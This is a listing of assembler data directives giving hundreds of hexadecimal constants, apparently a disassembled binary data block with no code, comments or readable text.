dd 0A67000DFh, 0D8A0544Ch, 19032691h, 12E5A803h, 9A4DE017h
dd 2D520016h, 30FBBF98h, 0B2065736h, 5BF812B9h, 52A944A0h
dd 18B86D00h, 0F2D3BF82h, 0EF06005Fh, 3DD044B3h, 0F100ACECh
dd 718B1383h, 0AABB239h, 1604B43Eh, 17CA008Ch, 0AD78D054h
dd 0FC651400h, 0D99D2ACBh, 0F288A1BDh, 0CF43E710h, 0AB3049E6h
dd 0D2E62832h, 90F9C0BEh, 633BF707h, 2E37B500h, 855EEB46h
dd 265F0149h, 96452089h, 0B29042FEh, 0BFD41721h, 76634180h
dd 62435053h, 0E294D800h, 12D4281Dh, 77C60564h, 1E7011B7h
dd 0B643428Ch, 14487384h, 9B00CECCh, 4AF8BCC3h, 7EC512FDh
dd 7CC8A4B9h, 2D5116B4h, 0BDA1B1E2h, 0CF1086B8h, 3829313Bh
dd 360CFF4Ch, 0CE60C89Ch, 0D241738Ch, 85BA0B29h, 0C3AF102h
dd 0C2332C48h, 0A664D350h, 801E773Ch, 0AB16EACFh, 0E5E319h
dd 0C61F0FBDh, 412C6558h, 0DDD56415h, 19010FACh, 6943811Ah
dd 56D4C366h, 4BDE490h, 4DB3CFEFh, 72148068h, 0AC0637ECh
dd 3641D065h, 0A03B62E8h, 39233240h, 17897842h, 0C764165h
dd 0F2188EA7h, 9B9CA88h, 0BE73C36Dh, 0AFB36010h, 2124E88h
dd 0DFA4CE3Fh, 744232A9h, 60AB1424h, 0C0C0D317h, 98FE4011h
dd 781C2DDAh, 5E016A4Ch, 88D1A6B5h, 75126C33h, 980D002Dh
dd 0C07D78B3h, 7F353600h, 6EDAC80Ch, 48610094h, 5E680D4Dh
dd 60006306h, 0DB384334h, 51A235DEh, 0C1D195D6h, 0DFB81EE0h
dd 62790008h, 99CD6C1Dh, 598B103h, 34D673h, 0EA25EF29h
dd 0C7AD82C0h, 3B43CA1Ch, 0A66151F0h, 0F69E0076h, 0E1E8B5F0h
dd 5103E640h, 0AECD644Ah, 0BC1ED1DBh, 0E5396980h, 0FD7940ABh
dd 74A1A701h, 0B91D1F87h, 7F219Ch, 0AA9B2C7h, 0A600F4A5h
dd 4E58DD26h, 2843BF7Eh, 503CCD25h, 63EC92Eh, 0E86895AEh
dd 0C11D18E9h, 0A8C7B1C2h, 0B873D5FBh, 0D6C80C0Eh, 95D13E69h
dd 4954B737h, 0C5007E8Fh, 4713D22Ch, 26D83705h, 63FFF029h
dd 0A400F412h, 8AD9466Eh, 70F7BBFEh, 22F60627h, 49F8E804h
dd 0A84FCF03h, 0E03105C7h, 0BEF96Ch, 27F2B740h, 3B61D6BCh
dd 39C459C3h, 85812CBFh, 0E86D060Ah, 0E40149EFh, 0DACCCAB0h
dd 0F8CC942Ah, 0AD8900B9h, 9BC62C07h, 951410A5h, 68D761h
dd 0A0E8D655h, 7BF926CFh, 0E79F180Fh, 504851F7h, 0FEE37D01h
dd 3F86A4FBh, 5E61D040h, 5F91296Bh, 83B442F4h, 2343E600h
dd 0F6E888D0h, 267A51C0h, 1330777h, 0E62AAFE4h, 0DFE80199h
dd 2D0B2100h, 0BF93E5CCh, 0D67800FAh, 0D1854745h, 0F4A8BD1Dh
dd 0F20E9B11h, 208FDC2Ah, 0B4B26548h, 704E0E09h, 7901BFE7h
dd 80AE1D2Ch, 24086D31h, 3C165Fh, 0E0031FDBh, 76DFCF85h
dd 5DC0A90Eh, 6C5A61F0h, 0E0485FD6h, 2C911Eh, 0A7B61921h
dd 3600807Eh, 0AC29D89Dh, 60E8CFE3h, 1F19B9F0h, 0A700ECE4h
dd 3FB9314Ah, 49790Ch, 0D4BFB78Bh, 41B67792h, 0D731F264h
dd 9B60A489h, 0BD37007Ch, 0EDB7DBF4h, 4778D6F3h, 0E1C88406h
dd 289A5C1h, 439E4A4Dh, 6444D73Dh, 0FE12488h, 30F15A00h
dd 0CE595775h, 5F913EDh, 0C0C31F23h, 5D604C54h, 0E930C574h
dd 0C1889DDh, 0D87CFAh, 0FDA5D0EAh, 4760C229h, 72259A00h
dd 61C46AE8h, 6073725Dh, 7D0F79D1h, 5F3E8C43h, 575980FBh
dd 9B9D042Fh, 837A00DAh, 4D0D9FBDh, 0C100401Ah, 2C787241h
dd 88F3E8BCh, 86003388h, 0DD54DE71h, 0F9455932h, 8244E8h
dd 3EFA0F50h, 64CAEAE0h, 5D674C00h, 0E211C575h, 26E53A54h
dd 8CC0B515h, 20347028h, 8500A03Eh, 0DC4DB977h, 0FEC23BF4h
dd 9D2D07B6h, 9993FB66h, 0F8BF1B00h, 43723F60h, 5B80A891h
dd 69598B9h, 0F8C2673Ah, 40DC2407h, 16463CFAh, 4CC1025Bh
dd 0C678FB65h, 0CCACB361h, 0D60426ABh, 40195C49h, 24D574C2h
dd 3F488E9h, 0B928F000h, 5C55191h, 9F3742Dh, 1C196348h
dd 41B478A4h, 61EB5732h, 0A3C81E21h, 9B89009h, 0A683498Fh
dd 0BF1EBC10h, 7F3D31C0h, 10E2DADh, 0E23FC498h, 24B162D6h
dd 0C2480D20h, 2655C058h, 0D3FC86h, 0C9492AE0h, 0C4258860h
dd 905EA326h, 3441C14h, 3AD087BAh, 901898F4h, 0D9DF0112h
dd 0D6B59237h, 9E3B103Dh, 961F01AFh, 916722B3h, 7ACC436Bh
dd 30F37F91h, 0CB141764h, 0C0B83643h, 8CB57356h, 46090097h
dd 0B0C6DF3Bh, 0BB32E1C7h, 66C281B1h, 0F0A80020h, 0BC402AB9h
dd 5F1DE705h, 0B4C539CFh, 2186C5C3h, 1427D29h, 310FA859h
dd 80911DCEh, 2A5E171Ah, 94C4B39h, 0D7C7B1B6h, 1949F810h
dd 0A9C58800h, 6A477256h, 485C760Eh, 751E5E9Dh, 544E6F1h
dd 94AB664h, 95003E48h, 3A3F906Eh, 432E5F1Eh, 7C4870A8h
dd 28090515h, 75C33BF5h, 84394CDFh, 41DB3411h, 0C0AC32D4h
dd 7A2A2DA0h, 0BE2600E2h, 2FC7CAFAh, 60075194h, 17C2383Ch
dd 0B39C1E6h, 87306835h, 7485005h, 449CE634h, 105D09D1h
dd 0B34F48h, 98550426h, 0A542ADE4h, 23173E04h, 9880FED3h
dd 62549D7h, 5DE5EC09h, 0F1EE39CFh, 2AE20700h, 0D2D3F262h
dd 0B55A0058h, 0B6B1A0A3h, 95724754h, 0D83F3B14h, 1DE61DE4h
dd 60410122h, 7768D592h, 0B5F9C8BBh, 4E027F7Ah, 1AB8EE90h
dd 60B08EC5h, 3B95D953h, 0E124A043h, 0C2BD44B9h, 4EAF4A1Eh
dd 0EF7155C3h
dd 0D051C8C5h, 0A940164Dh, 0DB94320Ch, 0B56C002Bh, 308C75F4h
dd 2449BA1Ch, 4500C43Eh, 0C3AFA425h, 14A96064h, 0A0211EFBh
dd 0CA000048h, 37633995h, 1893B03Ch, 0F2AC3800h, 1C4BC0DAh
dd 0FAC42Ch, 0E3D39134h, 48056A67h, 1EE54938h, 19805C1Eh
dd 82133C5Bh, 4F7313ACh, 3EE804CAh, 5D7C42BDh, 0B46634h
dd 180E86DCh, 1C393D2Dh, 7F499E00h, 0CB948B08h, 2B911F15h
dd 0E30185CAh, 5A78881Eh, 0BA0CC200h, 6A1A3EF2h, 12E0FA79h
dd 344C2Fh, 5A194DD7h, 7E138C50h, 5008D71Ah, 62280EEh
dd 0AEB38E24h, 2CA1E800h, 6C0F6A63h, 836704C0h, 8CB77C69h
dd 0B80068C8h, 7797F99h, 72CB7738h, 49230097h, 5FB3614Dh
dd 0EF658776h, 8C9298h, 0F8A40007h, 2310F68Dh, 0CF0AB6EBh
dd 0C57DB014h, 0C18FB800h, 152DC2E7h, 0FCE5624Ch, 93F63A02h
dd 0E0E0FB96h, 140A86C5h, 98CC3943h, 0F7A76780h, 58E21FACh
dd 25809C44h, 0B6B0D37Eh, 3FCC64Ch, 80AE11F7h, 18389058h
dd 0E4921FCEh, 3B53C031h, 0FCA170AFh, 1DD885Ch, 0D91873BAh
dd 80EB74DFh, 530544h, 43EB456Bh, 8623724Fh, 0A797B500h
dd 0E7E2CB09h, 980F77D5h, 82494C02h, 6338DC03h, 69D89808h
dd 56006452h, 19B105D7h, 0E7DFCF8h, 0BE837BA0h, 8A09F243h
dd 771342E0h, 8B0F01F8h, 80F3BDD6h, 694A298Ch, 0F84FF876h
dd 309D609Eh, 6083B4Dh, 0B3AFEF1Ch, 1030049Dh, 143F5A5h
dd 24F48D7Dh, 8CEC820Ah, 20AE7A08h, 43FD0044h, 1B053550h
dd 0C20E2557h, 38A25689h, 83AE7260h, 0EB1451FEh, 0DA3F26h
dd 0BB5F011h, 1C79A4Ah, 2C0FBD0Dh, 0CF60FD05h, 0BE668100h
dd 0B930AB6Dh, 6687F482h, 51BD0849h, 6DB7C400h, 66B20736h
dd 10CD0021h, 0D457BB6h, 6F606E14h, 823B57E8h, 23AC808Fh
dd 8C17CE28h, 0C007DA06h, 3A293931h, 53BB467Bh, 0BE2E6C81h
dd 0DA028ABDh, 1CCA9340h, 0DF6D9807h, 7F004379h, 60A03h
dd 25103CC5h, 0F724CEE6h, 0D440D51Fh, 0F8A0AD47h, 23BA3D40h
dd 12FF0161h, 46C1C57Fh, 21098C87h, 24C32009h, 0ACFF7Ah
dd 1316E791h, 1A18B33Ah, 3200F5Fh, 0F70C0406h, 807A128Ah
dd 19DBE557h, 0DC07CDF4h, 74094020h, 0E333D880h, 4C6A3CCFh
dd 0D4F84B87h, 895AE63Dh, 17690300h, 1931E084h, 89FE0E65h
dd 0B88C6461h, 0AC00CA21h, 1E3ACFFBh, 823CF8h, 84352A7Dh
dd 70C77F6h, 2126D00h, 0B0B84709h, 383F6F52h, 391FDD00h
dd 0D06E560h, 4BD051Eh, 0B9113308h, 39907A20h, 691F7585h
dd 0A030789Bh, 1949A147h, 4923BB02h, 0F002F3Dh, 1092F33Bh
dd 1871EC6Fh, 80597A9Ch, 861FD338h, 5F046E66h, 52003C06h
dd 4C7ED6B7h, 5EF9FC1Eh, 19E3D1B0h, 0AE2D00FAh, 22A7C7B3h
dd 0C1006295h, 0DCC99135h, 3298A394h, 36580ADFh, 0C7493880h
dd 5E1E9CB6h, 4D0EEB02h, 0F5AF4Ah, 0AA85FFADh, 749D001Dh
dd 8B53E1F9h, 6A12A0BBh, 720178ECh, 15692225h, 300F3FE8h
dd 0A5E88360h, 7D00F1EEh, 8E92FD8Fh, 0CE897Ch, 0EBF25C54h
dd 3F9CA80Dh, 0A09AA200h, 1E3365E7h, 41A358F9h, 32D4301h
dd 70FC4094h, 56006C7Fh, 0E489B264h, 2EA3FE79h, 3B3ACEh
dd 0B5275ECCh, 0C501E22Fh, 0B0C3EFB3h, 10A12E02h, 0F9185C04h
dd 7610E418h, 690D00DAh, 71220794h, 0A2001528h, 0BBEA84B0h
dd 6928DF9h, 7B764617h, 0F622290Ch, 8B102272h, 22905922h
dd 0A5023E7h, 8D445E28h, 5C9144E5h, 0FFF2A45h, 133EEF29h
dd 13AD72E7h, 0A3B83FC8h, 0D80F1D86h, 43C54BF6h, 0CD6836F1h
dd 0EC280780h, 0B1861EFAh, 7A48C058h, 3A0F331Bh, 6D9EDB00h
dd 0AB33181h, 0F40C0EEFh, 0BAE0B77Bh, 0B27F92A9h, 287E18C0h
dd 36C6D6Ah, 2153A145h, 6C82EF1h, 0DB009EBEh, 55D1C2E4h
dd 4E9529h, 91D76148h, 8B281A74h, 0CFA01F1Fh, 0A692AA00h
dd 3D2E23E6h, 458059F8h, 6D941C86h, 0E300F799h, 8C3E887Fh
dd 0FE504Ch, 309DCC06h, 0CE41EDFDh, 22366702h, 0A0085DB4h
dd 0E448F7FCh, 60823F21h, 1C19A6h, 2B0E0FB8h, 3303FD02h
dd 97F11DD4h, 88B694h, 40828156h, 17649EABh, 0C7038D74h
dd 8827203Ah, 0C7001E6h, 8C3372D9h, 3BD001D4h, 2080EC11h
dd 4F0E376Dh, 0A10F06F7h, 0B6887E44h, 9DF8FCh, 0E2D048ACh
dd 64491732h, 31F12700h, 0C044410Dh, 693D0E9Ah, 0E480EEABh
dd 32353933h, 0F239300h, 59A8B32Eh, 46B70080h, 44A92BBBh
dd 81006FB9h, 0DE97D84h, 0F514006h, 0C6A1DCF9h, 6BE09F0Fh
dd 0FA7587B7h, 0E0303F00h, 0AC6ABADAh, 5C90D9h, 0FEFC6099h
dd 67A64B6Dh, 4C0B08E4h, 84C7BD2Dh, 0C90F810h, 59F31Eh
dd 276740BAh, 0E41A9C7Fh, 0E2D52200h, 0DCA9A577h, 3B7100C2h
dd 0CF493C48h, 2400F0CEh, 698E7E80h, 2829C04Ah, 0BC206Eh
dd 8B957753h, 91CD8FB3h, 62B71B00h, 0E97272Eh, 0CEC500C8h
dd 65250872h, 0E85C44F5h, 2C370728h, 0BEB0D31Dh, 4A0CDBh
dd 47439AEBh, 33463CB9h, 4FAED03h, 0D8E2F8E4h, 56739D3h
dd 9798FF3Eh, 0F6F000D0h, 6DAAD885h, 0A373B090h, 5FDFBF03h
dd 0B77C7222h, 1898D550h, 88532468h, 9A00000h, 1331DD4Ah
dd 40084E09h, 0AB00A0FFh, 0ED456Dh, 0A488B63Ah, 0A2308A89h
dd 0A5A83Fh, 118DCD79h, 0C10F1C3Fh, 0A45173E8h, 1B17E8D0h
dd 5464D301h, 0B8451579h, 3F36F0C8h, 7B007F75h, 9B5DFDC7h
dd 2D0028C0h, 0CB8D1499h, 2CC08h, 97D596B3h, 866829EDh
dd 8750FE28h, 1ECD3900h, 20A4D375h, 2A830058h, 82AF52D1h
dd 0A1000766h, 0EC14E629h, 2CD6B1D0h, 307F81h, 7AE2B48Ch
dd 12EA3F76h, 5000CE7Bh, 7368179Eh, 456342h, 0A71065Eh
dd 5183933Fh, 0EE89A501h, 880FC5D5h, 8D27D4h, 0EA776602h
dd 0E4B63B11h, 200079E6h, 5DA17FA2h, 0E8C863h, 0D3B01CA4h
dd 76912A43h, 0BAF52900h, 5AE699Dh, 6AAD00E3h, 62F62347h
dd 0E20E8C9Ah, 0C0109BCEh, 0E5EF7092h, 27ED0019h, 5034D74Bh
dd 7A00916Dh, 0BE634312h, 0AAB453h, 0DF6F1F51h, 0DC3FAEE8h
dd 24210B00h, 488C1D70h, 30DE3CA0h, 0CA32E40Bh, 3882DE80h
dd 8F1D3141h, 609E4227h, 0DE2A5B00h, 77DB2Bh, 0B3CF7C36h
dd 66F176ABh, 0FDE30601h, 0CB71E90Fh, 11C45C4h, 0DF0AC99Ah
dd 0C4933E41h, 3CC07CBDh, 0F0D7A311h, 0E08B7058h, 7C5F7C97h
dd 65A6009Ah, 0CD6D3B2Bh, 1F007CE4h, 136AF126h, 0FF56CBE1h
dd 701806F4h, 20B800BDh, 62CCE839h, 8C00BC3Ch, 110C0AC4h
dd 714F4D1Fh, 207200A5h, 3BB0407Ch, 0F53B515Dh, 0BFA200B2h
dd 489887A7h, 39700E59h, 95206079h, 0B96E2075h, 53C53601h
dd 0C25B4DE3h, 3CC183FCh, 0A88076A6h, 0F9235A8Eh, 56031B01h
dd 0DA259E0Ah, 0A153A8DDh, 87FD00A0h, 214CE3AFh, 64003ECFh
dd 0C93A5DC2h, 0F5DAF9h, 5F72521Eh, 92669661h, 0AF7C5E61h
dd 8CD01DFh, 0C8355081h, 0CD61DA84h, 2256E067h, 172B2803h
dd 8079D918h, 0F8264Ch, 0C9B1EC50h, 877298BEh, 0FBE61200h
dd 81CD9DB8h, 6CFD0039h, 253F2732h, 5C00AC09h, 8FB8CB58h
dd 0F0171024h, 0FB660306h, 2B3C5DEEh, 0C0C5C191h, 7D05B676h
dd 4D89ECDEh, 798BC0EBh, 6103646Dh, 39AFC153h, 0D8E2D02Dh
dd 0D6060055h, 453ECE07h, 0AA00954Dh, 0A74C270Fh, 0B4DDCCh
dd 0A909B1E8h, 4574938Fh, 0B6E4E04h, 0BEC0E0C2h, 320BF41h
dd 0C5812773h, 0F0C0BC0Eh, 7F00B2E8h, 0CDBAF758h, 2EEF55DCh
dd 0E91DF2h, 0C23B155Ch
dd 371DD5B8h, 1A048E97h, 80FF34D1h, 0DC45FBD1h, 4853D000h
dd 2960B4Dh, 8473008Ah, 0C2B8BFF8h, 0FA00FCB7h, 1B777205h
dd 0B651CEh, 0DFC812DAh, 28843C04h, 40444D00h, 17E0C789h
dd 72F9173Fh, 2E3AF83Dh, 2918D186h, 7CE3A618h, 636B0377h
dd 0C2EB2748h, 0C0F8A7E9h, 7798C9AEh, 64DE0E00h, 0D346E79Ch
dd 0FCC20059h, 4DA2D5E4h, 101D3865h, 0BA808C5Bh, 5A242E53h
dd 0E0403BEh, 73ABCBA3h, 1133EC90h, 7BC34539h, 52498700h
dd 0D34CF51h, 0B07910h, 0A748DC0Bh, 0D36179E8h, 80095A3Bh
dd 0FE83C790h, 0B408D4h, 6962359Ch, 0E7140EBDh, 0BEEB1507h
dd 4300F6A5h, 5B03FAh, 695C755Ah, 7047A6A9h, 40846730h
dd 1D8B53E8h, 5DCF4E8Eh, 5477006Eh, 0AE78512Dh, 158C54Ch
dd 9BF7A426h, 14CC8142h, 0FF500024h, 380245FCh, 0A00DC40h
dd 0B158B7D4h, 2B5F6Fh, 80B5F804h, 0E6BDEA76h, 5A01000h
dd 0ED321A7Eh, 0ADC801ABh, 26E964C2h, 5D9FE444h, 0F8F7A103h
dd 0E5A79D7h, 0A0398F48h, 3DF4403Eh, 0DE12717Fh, 0C350D300h
dd 3A9A0E10h, 0EE94902Fh, 0B0A29047h, 606E79FCh, 696851E8h
dd 6F000A83h, 1BFF6F9h, 4C47B9EAh, 173EE048h, 561AF280h
dd 40591C84h, 815F4200h, 0C8A7037Dh, 0FBC00C4h, 718A6435h
dd 153FC956h, 0CE09839Bh, 0E14DC2E5h, 44200327h, 26E973F9h
dd 0E09EAEh, 5DCFD032h, 8700AD91h, 64484EE8h, 1BB2CCh
dd 0E5A51AEEh, 82ABC28Bh, 34BD6202h, 60B80861h, 1E72116Ah
dd 0CFB1F0h, 373DA0E6h, 3E005CFFh, 712004A7h, 0A035FA3Ah
dd 0E6B29B80h, 61E019Eh, 0C43149D3h, 7EE6F055h, 2F750907h
dd 0A191BA5Ah, 2170B372h, 0D01000C4h, 311246E6h, 5C037C8Dh
dd 0DAFE0E62h, 0D2DF98E2h, 42900EFh, 0ACEBA15Fh, 52306730h
dd 0E20E1001h, 87360326h, 50693357h, 0C4091900h, 0C18DA48Fh
dd 0CC700B3h, 8EF7D0FCh, 1FF4237Dh, 0A88FBF00h, 961C5A66h
dd 0C6070BECh, 0A42044D8h, 0B706E4EDh, 0ACD08A01h, 5EE66EC2h
dd 0A88BB68Eh, 8793F921h, 0C8968068h, 0AC2F899Ch, 8B9E001Eh
dd 56F1FE41h, 0A52C715Bh, 0A7005013h, 0F342192Ah, 0A16F02A3h
dd 7C4DA90Fh, 25D9E0DFh, 65F626A6h, 8D2428h, 0BA937B0Eh
dd 0B41F96D2h, 839D954Bh, 371A907h, 0CFE5AD00h, 240EE4B9h
dd 9E01A29h, 148E7084h, 1FC34120h, 6F009C58h, 195206DCh
dd 1380BC69h, 10747F9h, 402FEDC4h, 1A49C0FDh, 0F5800B50h
dd 0DB80E300h, 0EDCB14F7h, 2A5A00D4h, 5636D73h, 0E071FC9Fh
dd 1CD64300h, 9CCAC469h, 0D51B30A3h, 2C637E28h, 38406539h
dd 80BB3B60h, 81C66D01h, 0DE3648h, 7970A785h, 0FD1DD997h
dd 6B80500h, 2A92074Eh, 13A9006Fh, 1A8CC2AFh, 0C1003E0Dh
dd 6246729h, 0EEADB8h, 68EAD319h, 51434152h, 0A4E5B43Ch
dd 910E547Fh, 4BC6064h, 0E81FF7A8h, 1B0EE19h, 0FCFA51B7h
dd 0F0148B28h, 7A0E860Ah, 0C2055616h, 0E057B345h, 1EA64F8h
dd 4CE5A6BBh, 708ECCEFh, 0A4B071D3h, 0C7197500h, 0E4D6498Ch
dd 0EA7C40h, 0F2A45D77h, 13DECD69h, 3E00A34Fh, 0F70F3DD4h
dd 63F13A17h, 0E7D8A607h, 154A7031h, 0E900145Ch, 0AFC613A1h
dd 2893C46Ah, 3DFC632Fh, 6C00E508h, 66F22741h, 383C6133h
dd 9EAC8024h, 0E195B0DBh, 6FE6D6h, 0F6CA352Ah, 3113EC6Eh
dd 0F8E8B82Eh, 0AB85A480h, 2CEAC314h, 246EC4h, 15B25B5Ch
dd 3B39FEF2h, 33470452h, 609C891Bh, 6996A086h, 3AD748C0h
dd 0F6B70201h, 307AEFE1h, 57077244h, 0FAEC6277h, 30AB9570h
dd 0D02C00A1h, 4BB2DDEAh, 0B6000D6Dh, 0FEED3EE3h, 9F8FFh
dd 33678924h, 6832EFFCh, 198FBD00h, 0A34A4B8Ah, 975F00A8h
dd 31EE6260h, 2600771Fh, 0EB3A9506h, 0F98E32h, 0B339EF15h
dd 310E4660h, 5C3E5204h, 0C800795h, 57F329Fh, 9C2BCAC0h
dd 153CC042h, 0FC3820A9h, 0C2478038h, 551322CCh, 519A011Bh
dd 995BB5A4h, 79C420DAh, 71C12404h, 0B100CCF0h, 0B6C2513Bh
dd 0BD3D093Bh, 0FAAD16D1h, 5E3A2C00h, 0E86B2C91h, 0ACE5004Eh
dd 6604EB80h, 0F492BF7Fh, 896A5C00h, 0D4C446BDh, 0D2780527h
dd 34CAD6h, 0FF44AB6h, 0C000656Bh, 51D74B74h, 3F1657h
dd 0DE6C595h, 32F6E7A3h, 9E626100h, 0F2F1FC2h, 1980C0FBh
dd 9A7ADAE6h, 0B0F29100h, 0F3728FF0h, 1A7400A9h, 0A0EB1E3Ah
dd 0C700BBBDh, 412D5729h, 12E8ACFDh, 3947AFEh, 4DA0F294h
dd 0BDC6EFF8h, 983DDC01h, 0A2426C1Eh, 0CB2FD8h, 9FAAD246h
dd 849BA945h, 0EC485403h, 98638530h, 4B660Eh, 6226FDD4h
dd 8908E8Ah, 38CDDD00h, 0F3C82804h, 0C1D002C5h, 79ED7248h
dd 1BBB6060h, 881C1100h, 2E6DF53h, 3022017Ah, 84D76BFh
dd 5C36EC6Fh, 0ADBA607h, 527662Eh, 0E6F01BD7h, 1D1F222h
dd 71F65707h, 0C280847Ch, 0AF1917C0h, 7600E974h, 1C352E4h
dd 5A88D9h, 9AB1C272h, 0A11C89E8h, 0B5B45000h, 0C1D6BB21h
dd 40A8A06Bh, 3448003Dh, 0EE2A5D79h, 6F00B7C5h, 0B6E203ACh
dd 0CEEAA3h, 38D35ED9h, 33E0BDC2h, 89CE0760h, 1F9170F0h
dd 6F2C37AFh, 8204247Ch, 0B8806D9Bh, 3AB294h, 83E8F52Dh
dd 96EE104Dh, 3201C37Eh, 0F3D6D952h, 8030F2DDh, 0D1EF07C6h
dd 0E0CA62CDh, 2B0E0ACFh, 8DC16617h, 0C1EFC21h, 109AE300h
dd 6F47E200h, 1B56D090h, 0DE50C3A2h, 0EDF04C3Dh, 8586B33h
dd 2AEB0108h, 687B7722h, 4FF092h, 188648F8h, 0C8075DF1h
dd 2E92DA51h, 0FAC06D14h, 0B417F8h, 8DDB0D3Fh, 0FBAB653Bh
dd 7A02F8B0h, 9AEB6B46h, 0F18660D2h, 0F4B7000Ah, 1A3ACDF0h
dd 50E2D622h, 0E33F2401h, 0ADC0F7D9h
db 70h, 0B3h, 7
db 3
dd 0FB44CAB1h, 98002810h, 99AC90A4h, 314559Bh, 879E6468h
dd 6AABBD96h, 1F22D800h, 0DAC45A8Fh, 754C000Bh, 32AB29A3h
dd 900F26Bh, 54B1AE33h, 2D38C6Ah, 5BE22771h, 944831DFh
dd 0C900768Dh, 83E6EDEEh, 964D3C29h, 0ABEE30BCh, 273880A5h
dd 3BD71C0Dh, 32A64B41h, 0A147B45Eh, 0E954F860h, 953500E6h
dd 0EAE1C556h, 4B00A8D7h, 87AA2C45h, 0B70167h, 0A954A6CEh
dd 0C8396880h, 0AD70A000h, 10E0E57Fh, 120B00ABh, 0D0AC8EE1h
dd 8100B855h, 0A9879A25h, 28C5CBFh, 33D8384Eh, 0BCE0DEF1h
dd 5E73CEAAh, 9314B00h, 508A6F72h, 306E5888h, 0E4C04600h
dd 1D763389h, 8200C0B2h, 27DFCD38h, 148F3B4h, 0FFE2E33Dh
dd 0D2FA5FE5h, 9675CF40h, 1E714900h, 0E19DC8ECh, 0E6F0003Ch
dd 0CEAD5C63h, 25003F67h, 0AC33A729h, 0E070A34Fh, 5374E8h
dd 997D6CF8h, 16374695h, 714B6300h, 0B091400Bh, 0DBB126E5h
dd 0A7E900ADh, 0EB7793AEh, 358EFA00h, 15E1B756h, 0CF4D02E6h
dd 873EA201h, 8966D0A0h, 70E70B0Eh, 0C5005E2Ch, 57F4CA99h
dd 754F37h, 0EBD3B8C3h, 0C7592F50h, 9BACD100h, 23296941h
dd 0FE1F1BBCh, 0F1B0626Ah, 0CF846C9h, 0D8EBA70Ch, 1DFB6049h
dd 0CE649EC6h, 17433642h, 0B7C08023h, 0F9F61921h, 0FEE588C0h
dd 0CE45B69h, 64C5C475h, 6D50EDA1h, 0DD0C0A24h, 80C1F41h
dd 0D8793FF3h, 0ED0EF98Fh, 5897A83h, 56452800h, 8769AEFAh
dd 0E9176024h, 0E3AB0C4Dh, 798D2500h, 0C4C6B774h, 31940064h
dd 6B91C7E6h, 18A02287h, 463CB7Ah, 548551h, 0B6AC7CB0h
dd 7A067F57h, 81388750h, 0A172600h, 6C1F4215h, 0C4993B23h
dd 2AC3C500h, 0CC3DB04Ch, 0CF6A5500h, 63085D59h, 0F498D6h
dd 2F24C16Eh, 4DF0DB3Fh, 873A7700h, 0E7410EAh, 1CAB13E7h
dd 13BA0751h, 908BE262h, 0C7C14D60h, 4F3F5B00h, 0EBE484D8h
dd 1C3100BEh, 14A4ED71h, 40003A6Dh, 0C919A102h, 9B1613h
dd 0E61E7DCh, 0EAE927A4h, 32075A00h, 9AF2286Fh, 4D9FA20h
dd 56F14E2Eh, 0F8A980FBh, 1D03D27Eh, 920D4A1Eh, 4581B833h
dd 0A3710214h, 2C130699h, 0CADB40FDh, 0DF500003h, 0CB31D595h
dd 4D9881C5h, 57CFF507h, 0F900EFC4h, 1C09E9Dh, 0BF4AACDDh
dd 500BFE08h, 0C6F8DAB8h, 0DF4CEB00h, 2A299251h, 435F055Eh
dd 0C0C7570Ah, 0ECE85B5Ch, 97511D00h, 0ED499F93h, 21E728BAh
dd 9B0F06C4h, 505D0480h, 0D40EDB19h, 0DAF02729h, 327B05EBh
dd 40031110h, 0D9AD54DCh, 430F242h, 0DD8D890Ch, 7DEE01h
dd 7325824Fh, 5D14F8C7h, 3600A2F0h, 0B409E8CAh, 39ACC7Ah
dd 30C474EBh, 81B0EE16h, 82E0BE35h, 45DEFE17h, 98551CFAh
dd 0C3D328B9h, 25075900h, 0B4DD856Bh, 918C00D8h, 0A7204D45h
dd 0EE01A9B2h, 949BCAD0h, 0E1DCB0E6h, 0A83600B7h, 5035F2D3h
dd 4438CF3Bh, 424A9EDEh, 0DB00E11Fh, 1C0AE4Ch, 303430FBh
dd 621C59Ch, 0D2B12400h, 48610EB9h, 931C04Eh, 0C9C68B91h
dd 19FCA000h, 8CC8E5DAh, 0DC2A0EA8h, 0FD063670h, 487108Dh
dd 60579F50h, 0D76210FEh, 0AE08FECh, 340B1900h, 0E03068FDh
dd 9F8A069Ah, 28D717A2h, 44EA4822h, 3BF87F2Dh, 45272300h
dd 0E44A5D25h, 6BF000C7h, 8D1AE05Eh, 0CA12ADF9h, 0EEE17C8h
dd 8C20D58Ch, 0DB7238B3h, 0FA9F1600h, 2B24BFB0h, 54390051h
dd 61C3F6EEh, 7600686Bh, 53DAD592h, 7B87CD3h, 445C3AD4h
dd 0AABB00D1h, 70031379h, 2ABD9863h, 0F57B086h, 0D9EC014Bh
dd 0DA95AA8Dh, 3E8CD043h, 0C7F31A00h, 176090D3h, 671D01B9h
dd 76A969C6h, 8711BEFDh, 0A7233747h, 0C3F378D0h, 537C0077h
dd 72C7BD8h, 0DF0EE18Ch, 80F49105h, 0E284A256h, 0AC8A50D3h
dd 0DAB100BBh, 59E3EE09h, 0D40095B0h, 26DD3742h, 0D05D43h
dd 3CD9A81Bh, 460C5A6Fh, 0E762B700h, 0C5975B8Ah, 6578001Dh
dd 0D3F1498Eh, 8000AFC2h, 146C6083h, 12EC9258h, 0CD6536h
dd 0F9F2B14Dh, 0E8000B1Dh, 0C01FE643h, 0A417BAh, 0E00580B3h
dd 31DCF96Ah, 6B8EC20Fh, 5C76E302h, 0C954B071h, 38940044h
dd 0BF0CF9Bh, 7F00CCD9h, 0EE32524Eh, 5F51E5h, 8E7788D1h
dd 7242858Ch, 68C17A04h, 20812CB5h, 17029F4h, 4D89005Ch
dd 6C6DBF6Eh, 0A200408Fh, 87A6B006h, 1E61157Ah, 9837E9Fh
dd 0BB809671h, 6FBA34FEh, 0D169E50Fh, 7247C1B4h, 80EEDC32h
dd 0AD8FC3F0h, 0CC970074h, 82B03DF3h, 300101Fh, 0C19348F6h
dd 0C96CBCh, 0BD1AA3C3h, 6F16F906h, 806B3738h, 76C70CDCh
dd 11E36h, 673166B3h, 0F85B13FAh, 79FBD600h, 0C5F257AEh
dd 55F3064Eh, 29A5DF28h, 0FCEBBF00h, 88842BE9h, 408305AAh
dd 168E5B4Ch, 0F0D107F0h, 53B690C7h, 0C1DC6DE1h, 0CC1AAE00h
dd 0F7E8B26h, 0A1E8E769h, 6D1009Eh, 68B7C4E4h, 5E3DF903h
dd 0F05071CFh, 31D60D55h, 0B47864A1h, 6840DAADh, 0EC006E80h
dd 561BB24Bh, 522A05h, 771D40DAh, 0DB57C7F4h, 0AB5BAC00h
dd 0AD8A6733h, 0FB9D0062h, 9ABA75C8h, 42B8E93Ch, 6C2CD01h
